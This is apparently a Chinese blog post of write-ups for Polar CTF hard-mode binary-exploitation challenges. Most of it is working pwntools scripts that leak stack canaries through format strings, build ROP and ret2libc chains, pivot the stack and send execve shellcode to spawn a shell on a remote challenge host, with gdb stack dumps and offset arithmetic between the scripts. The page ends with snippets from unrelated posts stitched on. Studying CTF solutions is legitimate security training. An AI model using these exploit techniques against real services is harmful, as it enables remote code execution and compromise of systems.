Polar困难模式部分题解
choose
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
elf = ELF('./pwn2')
#r = process('./pwn2')
r = remote('1.95.36.136',2102)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'
#libc = ELF('./libc4.so')
rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)
if args.G:
gdb.attach(proc.pidof(r)[0])
canary_str = '%11$p'
ru('3.Buf overflow\n')
sl('1')
sleep(1)
sl(canary_str)
canary = int(rl(1)[:-1],16)
print ('canary >>>>>>>> ' + hex(canary))
puts_got = elf.got['puts']
pay1 = p64(puts_got)
ru('3.Buf overflow\n')
sl('2')
sleep(1)
#sl(pay1)
sl(str(puts_got))
puts_addr = u64(rl(1)[:-1].ljust(8,b'\x00'))
print ('puts_addr >>>>>>>> ' + hex(puts_addr))
print ('puts_got >>>>>>>> ' + hex(puts_got))
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search('/bin/sh'))
print ('libc_base >>>>>>>> ' + hex(libc_base))
pop_rdi_ret = 0x400a93
pay2 =b'a' * 5 * 8
pay2 += p64(canary)
pay2 += b'a' * 8
pay2 += p64(pop_rdi_ret)
pay2 += p64(bin_addr)
pay2 += p64(sys_addr)
pay2 += p64(elf.plt['puts'])
ru('3.Buf overflow\n')
sl('3')
sleep(1)
sl(pay2)
r.interactive()
使用pwngdb--调试:
在pwngdb中设置断点
b printf
r
1
ABCDEFGH
stack 50
01:0008│ rdi rsi 0x7fffffffdc00 ◂— 'ABCDEFGH\n'
在汇编语言中看到
0x000000000040092b <+91>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040092f <+95>: xor rax,QWORD PTR fs:0x28
易知canary的值在rbp-0x8位置处,可以用pwngdb查看该位置的值即是canary的值
pwndbg> x $rbp-0x8
0x7fffffffdc28: 0xeff04d00
计算偏移,28-00即是40个字节除以8就是5+6(6个寄存器的偏移)所以就要使用%11$p泄露出Canary的值
或者直接查看栈内信息看到rbp上八字节的地址与aaaaaaaa存放地址相隔0x28字节
pwndbg> stack 50
00:0000│ rsp 0x7fffffffdbf8 —▸ 0x400830 (format+107) ◂— nop
01:0008│ rdi rsi 0x7fffffffdc00 ◂— 'aaaaaaaa\n'
02:0010│-028 0x7fffffffdc08 ◂— 0xa /* '\n' */
03:0018│-020 0x7fffffffdc10 ◂— 0
... ↓ 2 skipped
06:0030│-008 0x7fffffffdc28 ◂— 0xb0299bc85de69f00
07:0038│ rbp 0x7fffffffdc30 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc60 —▸ 0x7fffffffdd00 —▸ 0x7fffffffdd60 ◂— ...
自己做的:
from pwn import*
from LibcSearcher import*
p=remote('1.95.36.136',2096)
#p=process('./pwn2')
elf=ELF('./pwn2')
overflow=0x4008D0
main=0x4009C6
p.sendline(b'1')
# payload=b'a'*8+b'-%p'*10
payload=b'%11$p'
rdi=0x400a93
puts=0x400610
p.recvuntil(b'flow\n')
p.sendline(payload)
canary=p.recvline(1)
print(f"Canary data after slicing: {canary}")
canary=int(canary[:-1],16)
# p.sendline(b'3')
# payload1=b'a'*(0x30-8)
# payload1+=p64(canary)+b'a'*8
# payload1+=p64(rdi)+p64(puts_got)+p64(puts)+p64(main)
# p.sendline(payload1)
p.sendline(b'2')
puts_got=elf.got['puts']
py1=str(puts_got)
print(py1)
p.sendline(py1)
p.recvuntil(b'flow\n')
puts_addr=u64(p.recvline(1)[:-1].ljust(8,b'\x00'))
print ('puts_addr >>>>>>>> ' + hex(puts_addr))
print ('puts_got >>>>>>>> ' + hex(puts_got))
# libc=LibcSearcher('puts',puts_addr)
# base=puts_addr-libc.dump('puts')
# system=base+libc.dump('system')
# bin_sh=base+libc.dump('str_bin_sh')
# 找不到libc的地址,,,所以去网上搜
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search('/bin/sh'))
p.sendline(b'3')
py2=b'a'*(0x30-8)
py2+=p64(canary)
py2+=b'a'*8
py2+=p64(rdi)+p64(bin_addr)+p64(system_addr)
p.interactive()
8字节能干什么
栈迁移题目
int vuln()
{
int buf[11]; // [esp+8h] [ebp-30h] BYREF
memset(buf, 0, 40);
read(0, buf, 0x38u);
printf("%s", (const char *)buf);
read(0, buf, 0x38u);
return printf("%s", (const char *)buf);
}
漏洞函数:这道题目两个读取输出,第一次构造payload使其输出ebp的值
使用pwngdb调试,找到buf地址与ebp地址相隔的距离
0d:0034│-044 0xffffcdd4 —▸ 0xffffcde8 ◂— 'aaaa\n'
0e:0038│-040 0xffffcdd8 ◂— 0x38 /* '8' */
0f:003c│-03c 0xffffcddc ◂— 0x1c
10:0040│-038 0xffffcde0 —▸ 0xf7ffcfe8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x33f28
11:0044│-034 0xffffcde4 —▸ 0xf7fa1e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
12:0048│ ecx 0xffffcde8 ◂— 'aaaa\n'
13:004c│-02c 0xffffcdec ◂— 0xa /* '\n' */
14:0050│-028 0xffffcdf0 ◂— 0
... ↓ 7 skipped
1c:0070│ edi 0xffffce10 —▸ 0xf7fa2ca0 (_IO_2_1_stderr_) ◂— 0xfbad2087
1d:0074│-004 0xffffce14 —▸ 0xf7ffcb60 (_rtld_global_ro) ◂— 0
1e:0078│ ebp 0xffffce18 —▸ 0xffffce28 ◂— 0
输入aaaa,然后ctrl+c中断,stack 50查看栈的情况,找到ebp的地址0xffffce28还有aaaa输入的地址0xffffcde8相减得到差值
所以泄露出ebp的值ebp=u32(p.recv(4)),可以计算出
完整·EXP:
from pwn import*
context(log_level='debug',os='linux',arch='amd64')
#p=process('./pwn')
p=remote('1.95.36.136',2099)
payload1=b'a'*47+b'c'
p.send(payload1)
p.recvuntil('c')
ebp=u32(p.recv(4))
print(ebp)
leave_ret=0x0804858c
system=0x080483E0
buf_add=ebp-0x40
payload=b'aaaa'
payload+=p32(system)
payload+=p32(0xabcdefad)
payload+=p32(buf_add+0x10)
payload+=b'$0'
payload=payload.ljust(0x30, b'\x00')
payload+=p32(buf_add)
payload+=p32(leave_ret)
p.send(payload)
p.interactive()
easyrop
from pwn import*
#p=process('./easyrop1')
p=remote('1.95.36.136',2141)
#ROPgadget --binary easyrop1 | grep "pop rdi" 0x0000000000400813 : pop rdi ; ret
#通过ROPgadget查找到pop rdi地址,pop rdi ; ret--
#通过 pop rdi 设置 rdi 寄存器的值: 比如你会将 /bin/sh 的地址压入栈中,然后执行 pop rdi,让 rdi 寄存器指向这个地址。
#使用 ret 跳转到栈中的地址: 让程序跳到执行我们想要调用的函数地址( system 函数的地址),并执行相应的系统命令
#(执行 /bin/sh,从而获得一个 shell)。
rdi=0x400813
bin_sh=0x601050
call_system=0x4007A2
payload=b'a'*120+p64(rdi)+p64(bin_sh)+p64(call_system)
#payload=b'a'*120+p64(0x400794)
p.sendline(payload)
p.interactive()
通过覆盖返回地址为pop rdi寄存器--第一个函数参数寄存器(RDI寄存器),设置参数,getshell
格式化
格式化字符串题目
首先当然是checksec 查看一下有哪些保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
用64位ida打开
{
char format[200]; // [rsp+0h] [rbp-D0h] BYREF
unsigned __int64 v5; // [rsp+C8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gets(format);
printf(format);
gets(format);
printf(format);
return 0;
}
有后门函数getshell
有canary保护,但是两次printf 完全够我们获取canary再覆盖了
打开gdb进行调试,输入 disass main
反汇编main函数
0x00000000004007ea <+196>: mov eax,0x0
0x00000000004007ef <+201>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004007f3 <+205>: xor rdx,QWORD PTR fs:0x28
0x00000000004007fc <+214>: je 0x400803 <main+221>
0x00000000004007fe <+216>: call 0x4005c0 <__stack_chk_fail@plt>
0x0000000000400803 <+221>: leave
0x0000000000400804 <+222>: ret
4007f3进行异或操作,可以得知canary的值存在于 rbp-0x8 处
然后在printf 函数处下断点运行程序,输入AAAA,中断后查看rbp-0x8的值:x $rbp-0x8 就是canary的值
输入x/50xg $rsp
pwndbg> x $rbp-0x8
0x7fffffffdc68: 0x4e960d00
pwndbg> x/50xg $rsp
0x7fffffffdb98: 0x00000000004007c2 0x0000000041414141
0x7fffffffdba8: 0x000000000000000c 0xffffffffffffffff
0x7fffffffdbb8: 0x0000000000000040 0x000000000000000c
0x7fffffffdbc8: 0x0000000000ca0000 0x0000000000000800
0x7fffffffdbd8: 0x0000000000ca0000 0x000000000000c000
0x7fffffffdbe8: 0x0000000001940000 0x0000000001940000
0x7fffffffdbf8: 0x0000000000140000 0x0000000000000002
0x7fffffffdc08: 0x8000000000000006 0x0000000000000000
0x7fffffffdc18: 0x0000000000000000 0x0000000000000000
0x7fffffffdc28: 0x0000000000000000 0x0000000000000000
0x7fffffffdc38: 0x0000000000000000 0x0000000000000000
0x7fffffffdc48: 0x0000000000000000 0x0000000000000000
0x7fffffffdc58: 0x00007ffff7fe5af0 0x00007fffffffdd50
0x7fffffffdc68: 0x39d640134e960d00 0x00007fffffffdd10
计算可知参数偏移为26,而64位程序,我们输入参数前六个存在寄存器中,从第七个开始入栈,再减去我们输出的那一位,所以参数为
'%31$p'
然后查看栈空间:stack 0x28
pwndbg> stack 0x28
00:0000│ rsp 0x7fffffffdb98 —▸ 0x4007c2 (main+156) ◂— lea rax, [rbp - 0xd0]
01:0008│ rdi 0x7fffffffdba0 ◂— 0x41414141 /* 'AAAA' */
02:0010│-0c8 0x7fffffffdba8 ◂— 0xc /* '\x0c' */
03:0018│-0c0 0x7fffffffdbb0 ◂— 0xffffffffffffffff
04:0020│-0b8 0x7fffffffdbb8 ◂— 0x40 /* '@' */
05:0028│-0b0 0x7fffffffdbc0 ◂— 0xc /* '\x0c' */
06:0030│-0a8 0x7fffffffdbc8 ◂— 0xca0000
07:0038│-0a0 0x7fffffffdbd0 ◂— 0x800
08:0040│-098 0x7fffffffdbd8 ◂— 0xca0000
09:0048│-090 0x7fffffffdbe0 ◂— 0xc000
0a:0050│-088 0x7fffffffdbe8 ◂— 0x1940000
0b:0058│-080 0x7fffffffdbf0 ◂— 0x1940000
0c:0060│-078 0x7fffffffdbf8 ◂— 0x140000
0d:0068│-070 0x7fffffffdc00 ◂— 2
0e:0070│-068 0x7fffffffdc08 ◂— 0x8000000000000006
0f:0078│-060 0x7fffffffdc10 ◂— 0
... ↓ 8 skipped
18:00c0│-018 0x7fffffffdc58 —▸ 0x7ffff7fe5af0 (dl_main) ◂— endbr64
19:00c8│-010 0x7fffffffdc60 —▸ 0x7fffffffdd50 —▸ 0x400630 (_start) ◂— xor ebp, ebp
1a:00d0│-008 0x7fffffffdc68 ◂— 0x39d640134e960d00
1b:00d8│ rbp 0x7fffffffdc70 —▸ 0x7fffffffdd10 —▸ 0x7fffffffdd70 ◂— 0
1c:00e0│+008 0x7fffffffdc78 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
1d:00e8│+010 0x7fffffffdc80 —▸ 0x7fffffffdcc0 ◂— 0
计算0xc68-0xba0,即为栈溢出垃圾数据,所以完整exp:
from pwn import*
p=remote("1.95.36.136",2080)
payload=b'%31$p'
p.sendline(payload)
canary=p.recv(18)
print(f"Canary data after slicing: {canary}")
can=int(canary,16)
getshell=0x400805
payload2=b'a'*200+p64(can)+b'a'*8+p64(getshell)
p.sendline(payload2)
p.interactive()
ret2libc
from pwn import*
from LibcSearcher import*
#context(log_level='debug',os='linux',arch='amd64')
p=remote('1.95.36.136',2138)
elf=ELF('./ret2libc')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400666
rdi=0x400753
payload=b'a'*0x77+b'c'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
p.recvuntil('c')
#print(puts_got)
puts_addr= u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(puts_addr)
print(hex(puts_addr))
#libc=LibcSearcher('puts',puts_addr)
#base=puts_addr-libc.dump('puts')
#system=base+libc.dump('system')
#bin_sh=base+libc.dump('str_bin_sh')
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base=puts_addr-libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
py2=b'a'*0x78+p64(rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(py2)
p.interactive()
sleep
from pwn import*
from LibcSearcher import*
context(log_level='debug',os='linux',arch='amd64')
p=remote('1.95.36.136',2120)
#p=process('./sleep')
elf=ELF('./sleep')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
fun=0x4006BD
rdi=0x400783
payload=b'a'*120+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(fun)
p.recvline()
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base=puts_addr-libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
py1=b'a'*120+p64(rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(py1)
p.interactive()
利用fun函数里面明显的gets溢出函数,泄露出puts函数的真实地址,通过搜查,libc库找到与之对应的libc文件,计算偏移
计算出system函数,还有bin_sh参数地址,通过ROPgadget找到rdi地址,塞入参数和system返回地址getshell
stack_pivotingx86
from pwn import*
p=remote('1.95.36.136',2071)
#p=process('./stack')
payload=b'a'*0x27+b'c'
p.send(payload)
p.recvuntil(b'aaac')
ebp=u32(p.recv(4))
print(hex(ebp))
leave_ret=0x08048582
buf_addr=ebp-0x38
bin_sh=0x0804A030
elf=ELF('./stack')
system_addr=elf.plt['system']
payload1 =b'aaaa' + p32(system_addr) + p32(0xabcdefaf) +p32(buf_addr+0x10)+b'$0'
payload1= payload1.ljust(0x28, b'\x00') + p32(buf_addr) + p32(leave_ret)
p.send(payload1)
p.interactive()
可以用栈迁移,
ROPgadget --binary stack --only "leave|ret"
Gadgets information
============================================================
0x08048582 : leave ; ret
0x080483c6 : ret
0x080484ee : ret 0xeac1
Unique gadgets found: 3
使用ROPgadget查找 leave ; ret 的地址
两次输入输出,第一次填充栈空间,使其输出ebp的地址,第二次利用ebp的地址,计算buf_addr
构造栈空间b'aaaa'填充垃圾数据,再填入
system函数地址,跳过一个字节,填入参数地址 b'$0' 然后填充至0x28再填入buf栈地址再加上leave_ret地址
汇编指令leave;ret的作用:
leave:分两步
1. mov esp, ebp //把ebp的值给esp,,也就是让esp指向ebp的位置
2. pop ebp //把esp指向的内容给ebp,就是把esp指向的值给ebp,并且esp会向上移动一位
ret :就一步
pop eip //把esp指向的内容给eip,让程序执行,把esp指向的内容给eip,然后esp向上一个。
format_ret2libc
from pwn import*
context(log_level='debug',os='linux',arch='amd64')
p=remote()
payload=b'%39$p'
p.sendline(payload)
p.recvuntil('Say some words:\n')
canary=p.recv(18)
print(f"Canary data after slicing: {canary}")
can=int(canary,16)
rdi=0x400943
SetString=0x40084B
elf=ELF('./format_ret2libc')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload1=b'a'*104+p64(can)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(SetString)
p.sendline(payload1)
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base=puts_addr-libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
py1=b'a'*104+p64(can)+b'a'*8+p64(rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(py1)
p.interactive()
bllbl_shellcode_3
from pwn import*
p=remote('1.95.36.136',2100)
bin_sh=0x40201D
read_bss=0x401312
jmp_rsp=0x401342
leave_ret=0x401338
bss_addr=0x4040A0
bin_sh=0x40201D
payload=b'a'*8+p64(bss_addr)+p64(read_bss)+p64(leave_ret)
p.recvuntil('BSS can run /bin/sh给你们一个溢出点好不好\n')
p.send(payload)
pause()
shellcode=asm("nop")
shellcode+=asm("mov al,0x3b;mov esi,edi;mov edi,0x40201d;mov edx,esi;syscall;")
shellcode+=asm("nop;nop")
shellcode+=p64(jmp_rsp)
print(len(shellcode))
p.send(shellcode)
p.interactive()
栈迁移,bss段可执行,有/bin/sh参数,有leave_ret:执行栈迁移的必要指令
第一次ret指令使其执行read函数,参数就是bss_addr
查看汇编
.text:0000000000401321 lea rax, [rbp+buf] .text:0000000000401325 mov edx, 20h ; ' ' ; nbytes .text:000000000040132A mov rsi, rax ; buf .text:000000000040132D mov edi, 0 ; fd .text:0000000000401332 call _read
read函数的参数(读入地址)为rsi,是由rax赋值得到,而rax是由rbp+buf赋值得到,所以为bss_addr
读入后再加上leave_ret,再一次让rsp移动到rbp的位置,改变rbp,然后执行ret
可以在这里下断点,进行gdb调试,查看变化即为寄存器变化还有地址变化
发现ret后,rsp指向的内容地址为0x4040a8,和输入的地址差了0x18个字节
所以要用到imp_rsp函数使得rsp减去0x17字节,然后执行,这样位置就对了,但是汇编shellcode代码的第一个不会执行
所以
shellcode = asm("nop;")
shellcode += asm("mov al,0x3b;mov esi,edi;mov edi,0x40201d;mov edx,esi;syscall;")
shellcode += asm("nop;nop")
shellcode += p64(jmp_rsp_0x10)
系统调用参数为edi,esi,edx,所以使其为(/bin/sh,0,0)即可----execve("/bin/sh", 0, 0)
05ret2libc_64
from pwn import*
from LibcSearcher import*
context(log_level='debug',os='linux',arch='amd64')
p=remote('1.95.36.136',2128)
elf=ELF('./ret2')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x400843
main_addr = elf.sym['main']
payload=b'a'*(0x100+0x8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvline('welcome!give me a question:\n')
p.sendline(payload)
p.recvuntil('\n')
puts_addr=p.recvuntil('\x7f').ljust(8,b'\x00')
print(puts_addr)
puts_addr=u64(puts_addr)
print(puts_addr)
print(hex(puts_addr))
#libc=LibcSearcher('puts',puts_addr)
#base=puts_addr-libc.dump('puts')
#system_addr=base+libc.dump('system')
#bin_sh=base+libc.dump('str_bin_sh')
libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base=puts_addr-libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
#libc_base = puts_addr - 0x06f6a0
#system_addr = libc_base + 0x0453a0
#bin_sh = libc_base + 0x18ce57
ret=0x400581
py2=b'a'*264+p64(rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(py2)
p.interactive()
libc建议在https://libc.blukat.me/ 这个网站上查找可以看到相应的基地址
stack
main函数很简单
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
test1();
puts("input1:");
__isoc99_scanf("%d", &v4);
if ( passwd == 4660 && v4 == 4660 )
system("/bin/sh");
return 0;
}
test1函数:
__int64 test1()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
read(0, buf, 0x58uLL);
return 0LL;
}
很明显了使scanf输入的v4地址和passwd地址一致,然后输入4660即可获取shell
使用gdb 调试:
pwndbg> r
#输入80个垃圾数据还有8个k
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakkkkkkkk
pwndbg> stack 50
00:0000│ rsp 0x7fffffffd428 —▸ 0x7ffff7c92795 (_IO_file_underflow+357) ◂— test rax, rax
01:0008│-030 0x7fffffffd430 —▸ 0x7fffffffd9c0 ◂— '/stack/stack'
02:0010│-028 0x7fffffffd438 —▸ 0x7ffff7e038e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:0018│-020 0x7fffffffd440 —▸ 0x7ffff7e02030 (_IO_file_jumps) ◂— 0
04:0020│-018 0x7fffffffd448 ◂— 0xffffffffffffff88
05:0028│-010 0x7fffffffd450 ◂— 1
06:0030│-008 0x7fffffffd458 —▸ 0x40200d ◂— 0x732f6e69622f0064 /* 'd' */
07:0038│ rbp 0x7fffffffd460 —▸ 0x7fffffffd480 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdc50 ◂— 0x6b6b6b6b6b6b6b6b ('kkkkkkkk')
查看栈,ebp确实是被覆盖为kkkkkkkk
0x40127c <main+47> lea rax, [rbp - 4]
0x401280 <main+51> mov rsi, rax
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffcc5676cb8 —▸ 0x4011dd (test1+39) ◂— mov eax, 0
01:0008│ rsi 0x7ffcc5676cc0 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 6 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x70c31c91ba61 read+17
1 0x4011dd test1+39
2 0x40126d main+32
────────────────────────────────────────────────────────────────────────────────
pwndbg>
x $rbp
0x4033d0: 0x00000000
而passwd 的地址是0x4033CC相差4
看到后面汇编指令会将rbp-4所以我们只需将passwd+4即可
exp:
from pwn import*
p=process('./stack')
#p=remote('1.95.36.136',2052)
passwd=0x4033CC
payload=b'a'*80+p64(passwd+0x4)
gdb.attach(p)
p.sendline(payload)
p.recvuntil('input1:\n')
py2="4660"
pause()
p.sendline(py2)
p.interactive()
Polar困难模式部分题解的更多相关文章
- 领扣(LeetCode)单词模式 个人题解
给定一种 pattern(模式) 和一个字符串 str ,判断 str 是否遵循相同的模式. 这里的遵循指完全匹配,例如, pattern 里的每个字母和字符串 str 中的每个非空单词之间存在着双向 ...
- Codeforce算法题 | 你能想出解法,让你的基友少氪金吗?
在TechFlow学长的公众号里发现一道挺有意思的CF算法题,现在利用学长的思路学习一下 题目链接:https://codeforces.com/contest/1418/problem/C 题意 这 ...
- 软工案例分析之OJ
项目 内容 这个作业属于哪个课程 2021春季计算机学院软件工程(罗杰 任健) 这个作业的要求在哪里 案例分析作业要求 我在这个课程的目标是 和我的团队开发一个真正的软件,一起提升开发与合作的能力 这 ...
- 无聊的周末用Java写个扫雷小游戏
周末无聊,用Java写了一个扫雷程序,说起来,这个应该是在学校的时候,写会比较好玩,毕竟自己实现一个小游戏,还是比较好玩的.说实话,扫雷程序里面核心的东西,只有点击的时候,去触发更新数据这一步. Sw ...
- iOS XCode启用/关闭Clang Warnings
前言:warnings是编码中很重要的一个环节,编译器给出合理的warning能帮助开发者找到自己代码的问题,防止很多bug产生. 默认用XCode创建一个工程,会自动开启一些重要的warnings ...
- 你可能不知道的iOS冷知识——#pragma
Mattt Thompson撰写. Zihan Xu翻译. 发布于2012年10月1日 #pragma 声明是彰显 Objective-C 工艺的标志之一.虽然 #pragma 最初的目的是为了使得源 ...
- [CareerCup] 8.8 Othello Game 黑白棋游戏
8.8 Othello is played as follows: Each Othello piece is white on one side and black on the other. Wh ...
- 对Native App与Web App的一些思考
前言 Native App:C/S架构,使用原生技术(Java/Objective-C/Swift)实现. Web App:B/S架构,使用浏览器技术来实现,广义上也包括phoneGap以及DP正在尝 ...
- Web Server 和 HTTP 协议
https://toutiao.io/posts/xm2fr/preview 一直在找实习,有点什么东西直接就在evernote里面记了,也没时间来更新到这里.找实习真是个蛋疼的事,一直找的是困难模式 ...
- Web Server 和 HTTP协议(转)
转自:http://www.kuqin.com/shuoit/20150809/347488.html 一直在找实习,有点什么东西直接就在evernote里面记了,也没时间来更新到这里.找实习真是个蛋 ...
随机推荐
- aspirate 工具
dotnet tool aspirate https://www.nuget.org/packages/aspirate/0.1.40-preview 作为全局工具安装 dotnet tool ins ...
- Terraform Aliyun 创建ecs, kubernetes 实例
Terraform Aliyun 创建ecs, kubernetes 实例 terraform demo for aliyun 创建vpc, 网关, EIP, ecs, kubernetes, Ser ...
- 聊一聊坑人的 C# MySql.Data SDK
一:背景 1. 讲故事 为什么说这东西比较坑人呢?是因为最近一个月接到了两个dump,都反应程序卡死无响应,最后分析下来是因为线程饥饿导致,那什么原因导致的线程饥饿呢?进一步分析发现罪魁祸首是 MyS ...
- Qt编写4K/8K大分辨率播放器(8K占用1%CPU)
一.前言 在经过多种内核的洗礼以后,逐渐对不同内核的不同音视频文件和视频流进行大量的对比测试,比如测试对各种格式的支持性,对各种网络流的支持程度,在同一个地址下占用的CPU/GPU资源比对,最终发现播 ...
- Type of the default value for 'data' prop must be a function的解决方法
Type of the default value for 'data' prop must be a function的解决方法 问题现象 在写形如prop: {type: Array; defau ...
- [转]VC++中如何快速创建多层文件夹
在创建目录时,原来的可用的方法是 _mkdir()或 BOOL CreateDirectory( LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurit ...
- windows11使用pycharm连接wsl2开发基于poetry的python项目
windows11使用pycharm连接wsl2开发基于poetry的python项目 背景:公司开发的python项目用到了某个只提供了Linux版本的包,遂研究了一番如何在windows环境下进行 ...
- Flume架构与源码分析-整体架构
最近在学习Flume源码,所以想写一份Flume源码学习的笔记供需要的朋友一起学习参考. 1.Flume介绍 Flume是cloudera公司开源的一款分布式.可靠地进行大量日志数据采集.聚合和并转移 ...
- APSI - 1
最近在看[Labeled PSI from Homomorphic Encryption with Reduced Computation and Communication]的论文,看完后头大,现结 ...
- 深入理解Mybatis分库分表执行原理
前言 工作多年,分库分表的场景也见到不少了,但是我仍然对其原理一知半解.趁着放假前时间比较富裕,我想要解答三个问题: 为什么mybatis的mapper.xml文件里的sql不需要拼接表名中的分表? ...